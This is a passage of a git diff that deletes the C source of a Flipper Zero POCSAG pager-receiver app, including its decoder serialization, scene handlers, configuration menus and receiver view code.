pcsg_block_generic_serialize(&instance->generic, flipper_format, preset)) - return SubGhzProtocolStatusError; - - msg_len = furi_string_size(instance->done_msg); - if(!flipper_format_write_uint32(flipper_format, "MsgLen", &msg_len, 1)) { - FURI_LOG_E(TAG, "Error adding MsgLen"); - return SubGhzProtocolStatusError; - } - - uint8_t* s = (uint8_t*)furi_string_get_cstr(instance->done_msg); - if(!flipper_format_write_hex(flipper_format, "Msg", s, msg_len)) { - FURI_LOG_E(TAG, "Error adding Msg"); - return SubGhzProtocolStatusError; - } - return SubGhzProtocolStatusOk; -} - -SubGhzProtocolStatus - subghz_protocol_decoder_pocsag_deserialize(void* context, FlipperFormat* flipper_format) { - furi_assert(context); - SubGhzProtocolDecoderPocsag* instance = context; - SubGhzProtocolStatus ret = SubGhzProtocolStatusError; - uint32_t msg_len; - uint8_t* buf; - - do { - if(SubGhzProtocolStatusOk != - pcsg_block_generic_deserialize(&instance->generic, flipper_format)) { - break; - } - - if(!flipper_format_read_uint32(flipper_format, "MsgLen", &msg_len, 1)) { - FURI_LOG_E(TAG, "Missing MsgLen"); - break; - } - - buf = malloc(msg_len); - if(!flipper_format_read_hex(flipper_format, "Msg", buf, msg_len)) { - FURI_LOG_E(TAG, "Missing Msg"); - free(buf); - break; - } - furi_string_set_strn(instance->done_msg, (const char*)buf, msg_len); - free(buf); - - ret = SubGhzProtocolStatusOk; - } while(false); - return ret; -} - -void subhz_protocol_decoder_pocsag_get_string(void* context, FuriString* output) { - furi_assert(context); - SubGhzProtocolDecoderPocsag* instance = context; - furi_string_cat_printf(output, "%s\r\n", instance->generic.protocol_name); - furi_string_cat(output, instance->done_msg); -} - -const SubGhzProtocolDecoder subghz_protocol_pocsag_decoder = { - .alloc = subghz_protocol_decoder_pocsag_alloc, - .free = subghz_protocol_decoder_pocsag_free, - .reset = subghz_protocol_decoder_pocsag_reset, - .feed = subghz_protocol_decoder_pocsag_feed, - .get_hash_data = subghz_protocol_decoder_pocsag_get_hash_data, - .serialize = subghz_protocol_decoder_pocsag_serialize, - .deserialize = subghz_protocol_decoder_pocsag_deserialize, - .get_string = subhz_protocol_decoder_pocsag_get_string, -}; - -const SubGhzProtocol subghz_protocol_pocsag = { - .name = SUBGHZ_PROTOCOL_POCSAG_NAME, - .type = SubGhzProtocolTypeStatic, - .flag = SubGhzProtocolFlag_FM | SubGhzProtocolFlag_Decodable | SubGhzProtocolFlag_Save | - SubGhzProtocolFlag_Load, - - .decoder = &subghz_protocol_pocsag_decoder, -}; diff --git a/applications/external/pocsag_pager/protocols/pocsag.h b/applications/external/pocsag_pager/protocols/pocsag.h deleted file mode 100644 index 559fa3918..000000000 --- a/applications/external/pocsag_pager/protocols/pocsag.h +++ /dev/null @@ -1,13 +0,0 @@ -#pragma once - -#include - -#include -#include -#include -#include "pcsg_generic.h" -#include - -#define SUBGHZ_PROTOCOL_POCSAG_NAME "POCSAG" - -extern const SubGhzProtocol subghz_protocol_pocsag; diff --git a/applications/external/pocsag_pager/protocols/protocol_items.c b/applications/external/pocsag_pager/protocols/protocol_items.c deleted file mode 100644 index 7e6ebebbd..000000000 --- a/applications/external/pocsag_pager/protocols/protocol_items.c +++ /dev/null @@ -1,9 +0,0 @@ -#include "protocol_items.h" - -const SubGhzProtocol* pocsag_pager_protocol_registry_items[] = { - &subghz_protocol_pocsag, -}; - -const SubGhzProtocolRegistry pocsag_pager_protocol_registry = { - .items = pocsag_pager_protocol_registry_items, - .size = COUNT_OF(pocsag_pager_protocol_registry_items)}; \ No newline at end of file diff --git a/applications/external/pocsag_pager/protocols/protocol_items.h b/applications/external/pocsag_pager/protocols/protocol_items.h deleted file mode 100644 index 3981cd2e3..000000000 --- a/applications/external/pocsag_pager/protocols/protocol_items.h +++ /dev/null @@ -1,6 +0,0 @@ -#pragma once -#include "../pocsag_pager_app_i.h" - -#include "pocsag.h" - -extern const SubGhzProtocolRegistry pocsag_pager_protocol_registry; diff --git a/applications/external/pocsag_pager/scenes/pocsag_pager_receiver.c b/applications/external/pocsag_pager/scenes/pocsag_pager_receiver.c deleted file mode 100644 index cc2abd7e0..000000000 --- a/applications/external/pocsag_pager/scenes/pocsag_pager_receiver.c +++ /dev/null @@ -1,214 +0,0 @@ -#include "../pocsag_pager_app_i.h" -#include "../views/pocsag_pager_receiver.h" - -static const NotificationSequence subghs_sequence_rx = { - &message_green_255, - - &message_vibro_on, - &message_note_c6, - &message_delay_50, - &message_sound_off, - &message_vibro_off, - - &message_delay_50, - NULL, -}; - -static const NotificationSequence subghs_sequence_rx_locked = { - &message_green_255, - - &message_display_backlight_on, - - &message_vibro_on, - &message_note_c6, - &message_delay_50, - &message_sound_off, - &message_vibro_off, - - &message_delay_500, - - &message_display_backlight_off, - NULL, -}; - -static void pocsag_pager_scene_receiver_update_statusbar(void* context) { - POCSAGPagerApp* app = context; - FuriString* history_stat_str; - history_stat_str = furi_string_alloc(); - if(!pcsg_history_get_text_space_left(app->txrx->history, history_stat_str)) { - FuriString* frequency_str; - FuriString* modulation_str; - - frequency_str = furi_string_alloc(); - modulation_str = furi_string_alloc(); - - pcsg_get_frequency_modulation(app, frequency_str, modulation_str); - - pcsg_view_receiver_add_data_statusbar( - app->pcsg_receiver, - furi_string_get_cstr(frequency_str), - furi_string_get_cstr(modulation_str), - furi_string_get_cstr(history_stat_str)); - - furi_string_free(frequency_str); - furi_string_free(modulation_str); - } else { - pcsg_view_receiver_add_data_statusbar( - app->pcsg_receiver, furi_string_get_cstr(history_stat_str), "", ""); - } - furi_string_free(history_stat_str); -} - -void pocsag_pager_scene_receiver_callback(PCSGCustomEvent event, void* context) { - furi_assert(context); - POCSAGPagerApp* app = context; - view_dispatcher_send_custom_event(app->view_dispatcher, event); -} - -static void pocsag_pager_scene_receiver_add_to_history_callback( - SubGhzReceiver* receiver, - SubGhzProtocolDecoderBase* decoder_base, - void* context) { - furi_assert(context); - POCSAGPagerApp* app = context; - FuriString* str_buff; - str_buff = furi_string_alloc(); - - if(pcsg_history_add_to_history(app->txrx->history, decoder_base, app->txrx->preset) == - PCSGHistoryStateAddKeyNewDada) { - furi_string_reset(str_buff); - - pcsg_history_get_text_item_menu( - app->txrx->history, str_buff, pcsg_history_get_item(app->txrx->history) - 1); - pcsg_view_receiver_add_item_to_menu( - app->pcsg_receiver, - furi_string_get_cstr(str_buff), - pcsg_history_get_type_protocol( - app->txrx->history, pcsg_history_get_item(app->txrx->history) - 1)); - - pocsag_pager_scene_receiver_update_statusbar(app); - notification_message(app->notifications, &sequence_blink_green_10); - if(app->lock != PCSGLockOn) { - notification_message(app->notifications, &subghs_sequence_rx); - } else { - notification_message(app->notifications, &subghs_sequence_rx_locked); - } - } - subghz_receiver_reset(receiver); - furi_string_free(str_buff); - app->txrx->rx_key_state = PCSGRxKeyStateAddKey; -} - -void pocsag_pager_scene_receiver_on_enter(void* context) { - POCSAGPagerApp* app = context; - - FuriString* str_buff; - str_buff = furi_string_alloc(); - - if(app->txrx->rx_key_state == PCSGRxKeyStateIDLE) { - pcsg_preset_init(app, "FM95", 439987500, NULL, 0); - pcsg_history_reset(app->txrx->history); - app->txrx->rx_key_state = PCSGRxKeyStateStart; - } - - pcsg_view_receiver_set_lock(app->pcsg_receiver, app->lock); - pcsg_view_receiver_set_ext_module_state( - app->pcsg_receiver, radio_device_loader_is_external(app->txrx->radio_device)); - - //Load history to receiver - pcsg_view_receiver_exit(app->pcsg_receiver); - for(uint8_t i = 0; i < pcsg_history_get_item(app->txrx->history); i++) { - furi_string_reset(str_buff); - pcsg_history_get_text_item_menu(app->txrx->history, str_buff, i); - pcsg_view_receiver_add_item_to_menu( - app->pcsg_receiver, - furi_string_get_cstr(str_buff), - pcsg_history_get_type_protocol(app->txrx->history, i)); - app->txrx->rx_key_state = PCSGRxKeyStateAddKey; - } - furi_string_free(str_buff); - pocsag_pager_scene_receiver_update_statusbar(app); - - pcsg_view_receiver_set_callback(app->pcsg_receiver, pocsag_pager_scene_receiver_callback, app); - subghz_receiver_set_rx_callback( - app->txrx->receiver, pocsag_pager_scene_receiver_add_to_history_callback, app); - - if(app->txrx->txrx_state == PCSGTxRxStateRx) { - pcsg_rx_end(app); - }; - if((app->txrx->txrx_state == PCSGTxRxStateIDLE) || - (app->txrx->txrx_state == PCSGTxRxStateSleep)) { - // Start RX - pcsg_begin( - app, - subghz_setting_get_preset_data_by_name( - app->setting, furi_string_get_cstr(app->txrx->preset->name))); - - pcsg_rx(app, app->txrx->preset->frequency); - } - - pcsg_view_receiver_set_idx_menu(app->pcsg_receiver, app->txrx->idx_menu_chosen); - view_dispatcher_switch_to_view(app->view_dispatcher, POCSAGPagerViewReceiver); -} - -bool pocsag_pager_scene_receiver_on_event(void* context, SceneManagerEvent event) { - POCSAGPagerApp* app = context; - bool consumed = false; - if(event.type == SceneManagerEventTypeCustom) { - switch(event.event) { - case PCSGCustomEventViewReceiverBack: - // Stop CC1101 Rx - if(app->txrx->txrx_state == PCSGTxRxStateRx) { - pcsg_rx_end(app); - pcsg_idle(app); - }; - app->txrx->hopper_state = PCSGHopperStateOFF; - app->txrx->idx_menu_chosen = 0; - subghz_receiver_set_rx_callback(app->txrx->receiver, NULL, app); - - app->txrx->rx_key_state = PCSGRxKeyStateIDLE; - pcsg_preset_init(app, "FM95", 439987500, NULL, 0); - scene_manager_search_and_switch_to_previous_scene( - app->scene_manager, POCSAGPagerSceneStart); - consumed = true; - break; - case PCSGCustomEventViewReceiverOK: - app->txrx->idx_menu_chosen = pcsg_view_receiver_get_idx_menu(app->pcsg_receiver); - scene_manager_next_scene(app->scene_manager, POCSAGPagerSceneReceiverInfo); - consumed = true; - break; - case PCSGCustomEventViewReceiverConfig: - app->txrx->idx_menu_chosen = pcsg_view_receiver_get_idx_menu(app->pcsg_receiver); - scene_manager_next_scene(app->scene_manager, POCSAGPagerSceneReceiverConfig); - consumed = true; - break; - case PCSGCustomEventViewReceiverOffDisplay: - notification_message(app->notifications, &sequence_display_backlight_off); - consumed = true; - break; - case PCSGCustomEventViewReceiverUnlock: - app->lock = PCSGLockOff; - consumed = true; - break; - default: - break; - } - } else if(event.type == SceneManagerEventTypeTick) { - if(app->txrx->hopper_state != PCSGHopperStateOFF) { - pcsg_hopper_update(app); - pocsag_pager_scene_receiver_update_statusbar(app); - } - // Get current RSSI - float rssi = subghz_devices_get_rssi(app->txrx->radio_device); - pcsg_receiver_rssi(app->pcsg_receiver, rssi); - - if(app->txrx->txrx_state == PCSGTxRxStateRx) { - notification_message(app->notifications, &sequence_blink_cyan_10); - } - } - return consumed; -} - -void pocsag_pager_scene_receiver_on_exit(void* context) { - UNUSED(context); -} diff --git a/applications/external/pocsag_pager/scenes/pocsag_pager_scene.c b/applications/external/pocsag_pager/scenes/pocsag_pager_scene.c deleted file mode 100644 index 4644d99c0..000000000 --- a/applications/external/pocsag_pager/scenes/pocsag_pager_scene.c +++ /dev/null @@ -1,30 +0,0 @@ -#include "../pocsag_pager_app_i.h" - -// Generate scene on_enter handlers array -#define ADD_SCENE(prefix, name, id) prefix##_scene_##name##_on_enter, -void (*const pocsag_pager_scene_on_enter_handlers[])(void*) = { -#include "pocsag_pager_scene_config.h" -}; -#undef ADD_SCENE - -// Generate scene on_event handlers array -#define ADD_SCENE(prefix, name, id) prefix##_scene_##name##_on_event, -bool (*const pocsag_pager_scene_on_event_handlers[])(void* context, SceneManagerEvent event) = { -#include "pocsag_pager_scene_config.h" -}; -#undef ADD_SCENE - -// Generate scene on_exit handlers array -#define ADD_SCENE(prefix, name, id) prefix##_scene_##name##_on_exit, -void (*const pocsag_pager_scene_on_exit_handlers[])(void* context) = { -#include "pocsag_pager_scene_config.h" -}; -#undef ADD_SCENE - -// Initialize scene handlers configuration structure -const SceneManagerHandlers pocsag_pager_scene_handlers = { - .on_enter_handlers = pocsag_pager_scene_on_enter_handlers, - .on_event_handlers = pocsag_pager_scene_on_event_handlers, - .on_exit_handlers = pocsag_pager_scene_on_exit_handlers, - .scene_num = POCSAGPagerSceneNum, -}; diff --git a/applications/external/pocsag_pager/scenes/pocsag_pager_scene.h b/applications/external/pocsag_pager/scenes/pocsag_pager_scene.h deleted file mode 100644 index d5c64f9d9..000000000 --- a/applications/external/pocsag_pager/scenes/pocsag_pager_scene.h +++ /dev/null @@ -1,29 +0,0 @@ -#pragma once - -#include - -// Generate scene id and total number -#define ADD_SCENE(prefix, name, id) POCSAGPagerScene##id, -typedef enum { -#include "pocsag_pager_scene_config.h" - POCSAGPagerSceneNum, -} POCSAGPagerScene; -#undef ADD_SCENE - -extern const SceneManagerHandlers pocsag_pager_scene_handlers; - -// Generate scene on_enter handlers declaration -#define ADD_SCENE(prefix, name, id) void prefix##_scene_##name##_on_enter(void*); -#include "pocsag_pager_scene_config.h" -#undef ADD_SCENE - -// Generate scene on_event handlers declaration -#define ADD_SCENE(prefix, name, id) \ - bool prefix##_scene_##name##_on_event(void* context, SceneManagerEvent event); -#include "pocsag_pager_scene_config.h" -#undef ADD_SCENE - -// Generate scene on_exit handlers declaration -#define ADD_SCENE(prefix, name, id) void prefix##_scene_##name##_on_exit(void* context); -#include "pocsag_pager_scene_config.h" -#undef ADD_SCENE diff --git a/applications/external/pocsag_pager/scenes/pocsag_pager_scene_about.c b/applications/external/pocsag_pager/scenes/pocsag_pager_scene_about.c deleted file mode 100644 index 2af33c8bf..000000000 --- a/applications/external/pocsag_pager/scenes/pocsag_pager_scene_about.c +++ /dev/null @@ -1,74 +0,0 @@ -#include "../pocsag_pager_app_i.h" -#include "../helpers/pocsag_pager_types.h" - -void pocsag_pager_scene_about_widget_callback(GuiButtonType result, InputType type, void* context) { - POCSAGPagerApp* app = context; - if(type == InputTypeShort) { - view_dispatcher_send_custom_event(app->view_dispatcher, result); - } -} - -void pocsag_pager_scene_about_on_enter(void* context) { - POCSAGPagerApp* app = context; - - FuriString* temp_str; - temp_str = furi_string_alloc(); - furi_string_printf(temp_str, "\e#%s\n", "Information"); - - furi_string_cat_printf(temp_str, "Version: %s\n", PCSG_VERSION_APP); - furi_string_cat_printf(temp_str, "Developed by:\n%s\n\n", PCSG_DEVELOPED); - furi_string_cat_printf(temp_str, "Github: %s\n\n", PCSG_GITHUB); - - furi_string_cat_printf(temp_str, "\e#%s\n", "Description"); - furi_string_cat_printf(temp_str, "Receiving POCSAG Pager \nmessages\n\n"); - - furi_string_cat_printf(temp_str, "Supported protocols:\n"); - size_t i = 0; - const char* protocol_name = - subghz_environment_get_protocol_name_registry(app->txrx->environment, i++); - do { - furi_string_cat_printf(temp_str, "%s\n", protocol_name); - protocol_name = subghz_environment_get_protocol_name_registry(app->txrx->environment, i++); - } while(protocol_name != NULL); - - widget_add_text_box_element( - app->widget, - 0, - 0, - 128, - 14, - AlignCenter, - AlignBottom, - "\e#\e! \e!\n", - false); - widget_add_text_box_element( - app->widget, - 0, - 2, - 128, - 14, - AlignCenter, - AlignBottom, - "\e#\e! POCSAG Pager \e!\n", - false); - widget_add_text_scroll_element(app->widget, 0, 16, 128, 50, furi_string_get_cstr(temp_str)); - furi_string_free(temp_str); - - view_dispatcher_switch_to_view(app->view_dispatcher, POCSAGPagerViewWidget); -} - -bool pocsag_pager_scene_about_on_event(void* context, SceneManagerEvent event) { - POCSAGPagerApp* app = context; - bool consumed = false; - UNUSED(app); - UNUSED(event); - - return consumed; -} - -void pocsag_pager_scene_about_on_exit(void* context) { - POCSAGPagerApp* app = context; - - // Clear views - widget_reset(app->widget); -} diff --git a/applications/external/pocsag_pager/scenes/pocsag_pager_scene_config.h b/applications/external/pocsag_pager/scenes/pocsag_pager_scene_config.h deleted file mode 100644 index 8136af14f..000000000 --- a/applications/external/pocsag_pager/scenes/pocsag_pager_scene_config.h +++ /dev/null @@ -1,5 +0,0 @@ -ADD_SCENE(pocsag_pager, start, Start) -ADD_SCENE(pocsag_pager, about, About) -ADD_SCENE(pocsag_pager, receiver, Receiver) -ADD_SCENE(pocsag_pager, receiver_config, ReceiverConfig) -ADD_SCENE(pocsag_pager, receiver_info, ReceiverInfo) diff --git a/applications/external/pocsag_pager/scenes/pocsag_pager_scene_receiver_config.c b/applications/external/pocsag_pager/scenes/pocsag_pager_scene_receiver_config.c deleted file mode 100644 index 154e7d270..000000000 --- a/applications/external/pocsag_pager/scenes/pocsag_pager_scene_receiver_config.c +++ /dev/null @@ -1,221 +0,0 @@ -#include "../pocsag_pager_app_i.h" - -enum PCSGSettingIndex { - PCSGSettingIndexFrequency, - PCSGSettingIndexHopping, - PCSGSettingIndexModulation, - PCSGSettingIndexLock, -}; - -#define HOPPING_COUNT 2 -const char* const hopping_text[HOPPING_COUNT] = { - "OFF", - "ON", -}; -const uint32_t hopping_value[HOPPING_COUNT] = { - PCSGHopperStateOFF, - PCSGHopperStateRunnig, -}; - -uint8_t pocsag_pager_scene_receiver_config_next_frequency(const uint32_t value, void* context) { - furi_assert(context); - POCSAGPagerApp* app = context; - uint8_t index = 0; - for(uint8_t i = 0; i < subghz_setting_get_frequency_count(app->setting); i++) { - if(value == subghz_setting_get_frequency(app->setting, i)) { - index = i; - break; - } else { - index = subghz_setting_get_frequency_default_index(app->setting); - } - } - return index; -} - -uint8_t pocsag_pager_scene_receiver_config_next_preset(const char* preset_name, void* context) { - furi_assert(context); - POCSAGPagerApp* app = context; - uint8_t index = 0; - for(uint8_t i = 0; i < subghz_setting_get_preset_count(app->setting); i++) { - if(!strcmp(subghz_setting_get_preset_name(app->setting, i), preset_name)) { - index = i; - break; - } else { - // index = subghz_setting_get_frequency_default_index(app ->setting); - } - } - return index; -} - -uint8_t pocsag_pager_scene_receiver_config_hopper_value_index( - const uint32_t value, - const uint32_t values[], - uint8_t values_count, - void* context) { - furi_assert(context); - UNUSED(values_count); - POCSAGPagerApp* app = context; - - if(value == values[0]) { - return 0; - } else { - variable_item_set_current_value_text( - (VariableItem*)scene_manager_get_scene_state( - app->scene_manager, POCSAGPagerSceneReceiverConfig), - " -----"); - return 1; - } -} - -static void pocsag_pager_scene_receiver_config_set_frequency(VariableItem* item) { - POCSAGPagerApp* app = variable_item_get_context(item); - uint8_t index = variable_item_get_current_value_index(item); - - if(app->txrx->hopper_state == PCSGHopperStateOFF) { - char text_buf[10] = {0}; - snprintf( - text_buf, - sizeof(text_buf), - "%lu.%02lu", - subghz_setting_get_frequency(app->setting, index) / 1000000, - (subghz_setting_get_frequency(app->setting, index) % 1000000) / 10000); - variable_item_set_current_value_text(item, text_buf); - app->txrx->preset->frequency = subghz_setting_get_frequency(app->setting, index); - } else { - variable_item_set_current_value_index( - item, subghz_setting_get_frequency_default_index(app->setting)); - } -} - -static void pocsag_pager_scene_receiver_config_set_preset(VariableItem* item) { - POCSAGPagerApp* app = variable_item_get_context(item); - uint8_t index = variable_item_get_current_value_index(item); - variable_item_set_current_value_text( - item, subghz_setting_get_preset_name(app->setting, index)); - pcsg_preset_init( - app, - subghz_setting_get_preset_name(app->setting, index), - app->txrx->preset->frequency, - subghz_setting_get_preset_data(app->setting, index), - subghz_setting_get_preset_data_size(app->setting, index)); -} - -static void pocsag_pager_scene_receiver_config_set_hopping_running(VariableItem* item) { - POCSAGPagerApp* app = variable_item_get_context(item); - uint8_t index = variable_item_get_current_value_index(item); - - variable_item_set_current_value_text(item, hopping_text[index]); - if(hopping_value[index] == PCSGHopperStateOFF) { - char text_buf[10] = {0}; - snprintf( - text_buf, - sizeof(text_buf), - "%lu.%02lu", - subghz_setting_get_default_frequency(app->setting) / 1000000, - (subghz_setting_get_default_frequency(app->setting) % 1000000) / 10000); - variable_item_set_current_value_text( - (VariableItem*)scene_manager_get_scene_state( - app->scene_manager, POCSAGPagerSceneReceiverConfig), - text_buf); - app->txrx->preset->frequency = subghz_setting_get_default_frequency(app->setting); - variable_item_set_current_value_index( - (VariableItem*)scene_manager_get_scene_state( - app->scene_manager, POCSAGPagerSceneReceiverConfig), - subghz_setting_get_frequency_default_index(app->setting)); - } else { - variable_item_set_current_value_text( - (VariableItem*)scene_manager_get_scene_state( - app->scene_manager, POCSAGPagerSceneReceiverConfig), - " -----"); - variable_item_set_current_value_index( - (VariableItem*)scene_manager_get_scene_state( - app->scene_manager, POCSAGPagerSceneReceiverConfig), - subghz_setting_get_frequency_default_index(app->setting)); - } - - app->txrx->hopper_state = hopping_value[index]; -} - -static void - pocsag_pager_scene_receiver_config_var_list_enter_callback(void* context, uint32_t index) { - furi_assert(context); - POCSAGPagerApp* app = context; - if(index == PCSGSettingIndexLock) { - view_dispatcher_send_custom_event(app->view_dispatcher, PCSGCustomEventSceneSettingLock); - } -} - -void pocsag_pager_scene_receiver_config_on_enter(void* context) { - POCSAGPagerApp* app = context; - VariableItem* item; - uint8_t value_index; - - item = variable_item_list_add( - app->variable_item_list, - "Frequency:", - subghz_setting_get_frequency_count(app->setting), - pocsag_pager_scene_receiver_config_set_frequency, - app); - value_index = - pocsag_pager_scene_receiver_config_next_frequency(app->txrx->preset->frequency, app); - scene_manager_set_scene_state( - app->scene_manager, POCSAGPagerSceneReceiverConfig, (uint32_t)item); - variable_item_set_current_value_index(item, value_index); - char text_buf[10] = {0}; - snprintf( - text_buf, - sizeof(text_buf), - "%lu.%02lu", - subghz_setting_get_frequency(app->setting, value_index) / 1000000, - (subghz_setting_get_frequency(app->setting, value_index) % 1000000) / 10000); - variable_item_set_current_value_text(item, text_buf); - - item = variable_item_list_add( - app->variable_item_list, - "Hopping:", - HOPPING_COUNT, - pocsag_pager_scene_receiver_config_set_hopping_running, - app); - value_index = pocsag_pager_scene_receiver_config_hopper_value_index( - app->txrx->hopper_state, hopping_value, HOPPING_COUNT, app); - variable_item_set_current_value_index(item, value_index); - variable_item_set_current_value_text(item, hopping_text[value_index]); - - item = variable_item_list_add( - app->variable_item_list, - "Modulation:", - subghz_setting_get_preset_count(app->setting), - pocsag_pager_scene_receiver_config_set_preset, - app); - value_index = pocsag_pager_scene_receiver_config_next_preset( - furi_string_get_cstr(app->txrx->preset->name), app); - variable_item_set_current_value_index(item, value_index); - variable_item_set_current_value_text( - item, subghz_setting_get_preset_name(app->setting, value_index)); - - variable_item_list_add(app->variable_item_list, "Lock Keyboard", 1, NULL, NULL); - variable_item_list_set_enter_callback( - app->variable_item_list, pocsag_pager_scene_receiver_config_var_list_enter_callback, app); - - view_dispatcher_switch_to_view(app->view_dispatcher, POCSAGPagerViewVariableItemList); -} - -bool pocsag_pager_scene_receiver_config_on_event(void* context, SceneManagerEvent event) { - POCSAGPagerApp* app = context; - bool consumed = false; - - if(event.type == SceneManagerEventTypeCustom) { - if(event.event == PCSGCustomEventSceneSettingLock) { - app->lock = PCSGLockOn; - scene_manager_previous_scene(app->scene_manager); - consumed = true; - } - } - return consumed; -} - -void pocsag_pager_scene_receiver_config_on_exit(void* context) { - POCSAGPagerApp* app = context; - variable_item_list_set_selected_item(app->variable_item_list, 0); - variable_item_list_reset(app->variable_item_list); -} diff --git a/applications/external/pocsag_pager/scenes/pocsag_pager_scene_receiver_info.c b/applications/external/pocsag_pager/scenes/pocsag_pager_scene_receiver_info.c deleted file mode 100644 index 5f17d9fb7..000000000 --- a/applications/external/pocsag_pager/scenes/pocsag_pager_scene_receiver_info.c +++ /dev/null @@ -1,50 +0,0 @@ -#include "../pocsag_pager_app_i.h" -#include "../views/pocsag_pager_receiver.h" - -void pocsag_pager_scene_receiver_info_callback(PCSGCustomEvent event, void* context) { - furi_assert(context); - POCSAGPagerApp* app = context; - view_dispatcher_send_custom_event(app->view_dispatcher, event); -} - -static void pocsag_pager_scene_receiver_info_add_to_history_callback( - SubGhzReceiver* receiver, - SubGhzProtocolDecoderBase* decoder_base, - void* context) { - furi_assert(context); - POCSAGPagerApp* app = context; - - if(pcsg_history_add_to_history(app->txrx->history, decoder_base, app->txrx->preset) == - PCSGHistoryStateAddKeyUpdateData) { - pcsg_view_receiver_info_update( - app->pcsg_receiver_info, - pcsg_history_get_raw_data(app->txrx->history, app->txrx->idx_menu_chosen)); - subghz_receiver_reset(receiver); - - notification_message(app->notifications, &sequence_blink_green_10); - app->txrx->rx_key_state = PCSGRxKeyStateAddKey; - } -} - -void pocsag_pager_scene_receiver_info_on_enter(void* context) { - POCSAGPagerApp* app = context; - - subghz_receiver_set_rx_callback( - app->txrx->receiver, pocsag_pager_scene_receiver_info_add_to_history_callback, app); - pcsg_view_receiver_info_update( - app->pcsg_receiver_info, - pcsg_history_get_raw_data(app->txrx->history, app->txrx->idx_menu_chosen)); - view_dispatcher_switch_to_view(app->view_dispatcher, POCSAGPagerViewReceiverInfo); -} - -bool pocsag_pager_scene_receiver_info_on_event(void* context, SceneManagerEvent event) { - POCSAGPagerApp* app = context; - bool consumed = false; - UNUSED(app); - UNUSED(event); - return consumed; -} - -void pocsag_pager_scene_receiver_info_on_exit(void* context) { - UNUSED(context); -} diff --git a/applications/external/pocsag_pager/scenes/pocsag_pager_scene_start.c b/applications/external/pocsag_pager/scenes/pocsag_pager_scene_start.c deleted file mode 100644 index d2a94facb..000000000 --- a/applications/external/pocsag_pager/scenes/pocsag_pager_scene_start.c +++ /dev/null @@ -1,58 +0,0 @@ -#include "../pocsag_pager_app_i.h" - -typedef enum { - SubmenuIndexPOCSAGPagerReceiver, - SubmenuIndexPOCSAGPagerAbout, -} SubmenuIndex; - -void pocsag_pager_scene_start_submenu_callback(void* context, uint32_t index) { - POCSAGPagerApp* app = context; - view_dispatcher_send_custom_event(app->view_dispatcher, index); -} - -void pocsag_pager_scene_start_on_enter(void* context) { - UNUSED(context); - POCSAGPagerApp* app = context; - Submenu* submenu = app->submenu; - - submenu_add_item( - submenu, - "Receive messages", - SubmenuIndexPOCSAGPagerReceiver, - pocsag_pager_scene_start_submenu_callback, - app); - submenu_add_item( - submenu, - "About", - SubmenuIndexPOCSAGPagerAbout, - pocsag_pager_scene_start_submenu_callback, - app); - - submenu_set_selected_item( - submenu, scene_manager_get_scene_state(app->scene_manager, POCSAGPagerSceneStart)); - - view_dispatcher_switch_to_view(app->view_dispatcher, POCSAGPagerViewSubmenu); -} - -bool pocsag_pager_scene_start_on_event(void* context, SceneManagerEvent event) { - POCSAGPagerApp* app = context; - bool consumed = false; - - if(event.type == SceneManagerEventTypeCustom) { - if(event.event == SubmenuIndexPOCSAGPagerAbout) { - scene_manager_next_scene(app->scene_manager, POCSAGPagerSceneAbout); - consumed = true; - } else if(event.event == SubmenuIndexPOCSAGPagerReceiver) { - scene_manager_next_scene(app->scene_manager, POCSAGPagerSceneReceiver); - consumed = true; - } - scene_manager_set_scene_state(app->scene_manager, POCSAGPagerSceneStart, event.event); - } - - return consumed; -} - -void pocsag_pager_scene_start_on_exit(void* context) { - POCSAGPagerApp* app = context; - submenu_reset(app->submenu); -} diff --git a/applications/external/pocsag_pager/views/pocsag_pager_receiver.c b/applications/external/pocsag_pager/views/pocsag_pager_receiver.c deleted file mode 100644 index fed752de9..000000000 --- a/applications/external/pocsag_pager/views/pocsag_pager_receiver.c +++ /dev/null @@ -1,478 +0,0 @@ -#include "pocsag_pager_receiver.h" -#include "../pocsag_pager_app_i.h" -#include -#include - -#include -#include -#include - -#define FRAME_HEIGHT 12 -#define MAX_LEN_PX 112 -#define MENU_ITEMS 4u -#define UNLOCK_CNT 3 - -#define SUBGHZ_RAW_THRESHOLD_MIN -90.0f - -typedef struct { - FuriString* item_str; - uint8_t type; -} PCSGReceiverMenuItem; - -ARRAY_DEF(PCSGReceiverMenuItemArray, PCSGReceiverMenuItem, M_POD_OPLIST) - -#define M_OPL_PCSGReceiverMenuItemArray_t() ARRAY_OPLIST(PCSGReceiverMenuItemArray, M_POD_OPLIST) - -struct PCSGReceiverHistory { - PCSGReceiverMenuItemArray_t data; -}; - -typedef struct PCSGReceiverHistory PCSGReceiverHistory; - -static const Icon* ReceiverItemIcons[] = { - [SubGhzProtocolTypeUnknown] = &I_Quest_7x8, - [SubGhzProtocolTypeStatic] = &I_Message_8x7, - [SubGhzProtocolTypeDynamic] = &I_Lock_7x8, -}; - -typedef enum { - PCSGReceiverBarShowDefault, - PCSGReceiverBarShowLock, - PCSGReceiverBarShowToUnlockPress, - PCSGReceiverBarShowUnlock, -} PCSGReceiverBarShow; - -struct PCSGReceiver { - PCSGLock lock; - uint8_t lock_count; - FuriTimer* timer; - View* view; - PCSGReceiverCallback callback; - void* context; -}; - -typedef struct { - FuriString* frequency_str; - FuriString* preset_str; - FuriString* history_stat_str; - PCSGReceiverHistory* history; - uint16_t idx; - uint16_t list_offset; - uint16_t history_item; - PCSGReceiverBarShow bar_show; - uint8_t u_rssi; - bool ext_module; -} PCSGReceiverModel; - -void pcsg_receiver_rssi(PCSGReceiver* instance, float rssi) { - furi_assert(instance); - with_view_model( - instance->view, - PCSGReceiverModel * model, - { - if(rssi < SUBGHZ_RAW_THRESHOLD_MIN) { - model->u_rssi = 0; - } else { - model->u_rssi = (uint8_t)(rssi - SUBGHZ_RAW_THRESHOLD_MIN); - } - }, - true); -} - -void pcsg_view_receiver_set_lock(PCSGReceiver* pcsg_receiver, PCSGLock lock) { - furi_assert(pcsg_receiver); - pcsg_receiver->lock_count = 0; - if(lock == PCSGLockOn) { - pcsg_receiver->lock = lock; - with_view_model( - pcsg_receiver->view, - PCSGReceiverModel * model, - { model->bar_show = PCSGReceiverBarShowLock; }, - true); - furi_timer_start(pcsg_receiver->timer, pdMS_TO_TICKS(1000)); - } else { - with_view_model( - pcsg_receiver->view, - PCSGReceiverModel * model, - { model->bar_show = PCSGReceiverBarShowDefault; }, - true); - } -} - -void pcsg_view_receiver_set_ext_module_state(PCSGReceiver* pcsg_receiver, bool is_external) { - furi_assert(pcsg_receiver); - with_view_model( - pcsg_receiver->view, PCSGReceiverModel * model, { model->ext_module = is_external; }, true); -} - -void pcsg_view_receiver_set_callback( - 